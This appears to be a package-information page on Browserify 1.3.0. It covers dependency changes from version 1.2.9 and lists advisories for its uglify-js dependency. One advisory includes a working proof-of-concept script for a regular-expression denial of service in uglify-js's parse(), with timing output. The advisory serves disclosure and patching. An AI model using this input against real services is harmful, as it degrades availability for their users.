Browserify version 1.3.0 introduces a subtle but potentially important shift for developers relying on this popular browser-side require() tool. While the core description remains consistent – enabling modular JavaScript development with npm modules and directory structures directly in the browser – a key difference lies in its dependency management. Specifically, version 1.3.0 adds "optimist":">=0.2.6 <0.3" to the dependencies, this could introduce new features, bug fixes, or performance improvements related to command-line argument parsing, potentially affecting how Browserify is configured and used in build processes.
The other dependencies such as nub, resolve, commondir, detective, and coffee-script remain consistent with the previous stable version, 1.2.9, suggesting a focus on refining existing functionalities rather than a complete overhaul. Both versions share identical development dependencies like seq, jade, dnode, jsdom, connect, hashish, backbone, expresso, traverse, and jquery-browserify, essential for testing and extending Browserify's capabilities.
Developers considering the upgrade to 1.3.0 should be mindful of the optimist dependency and how it may interact with their existing build scripts. The release dates, July 15, 2011, for 1.3.0 and July 11, 2011, for 1.2.9, indicate that these are relatively older versions, so while the core functionality remains relevant for understanding Browserify's historical development, developers should explore the latest major releases for current projects to leverage the most up-to-date features, security patches, and performance optimizations. Examining the changelog associated with optimist between the versions constraints specified can give a clearer picture of the practical impact of this dependency update.
All the vulnerabilities related to the version 1.3.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.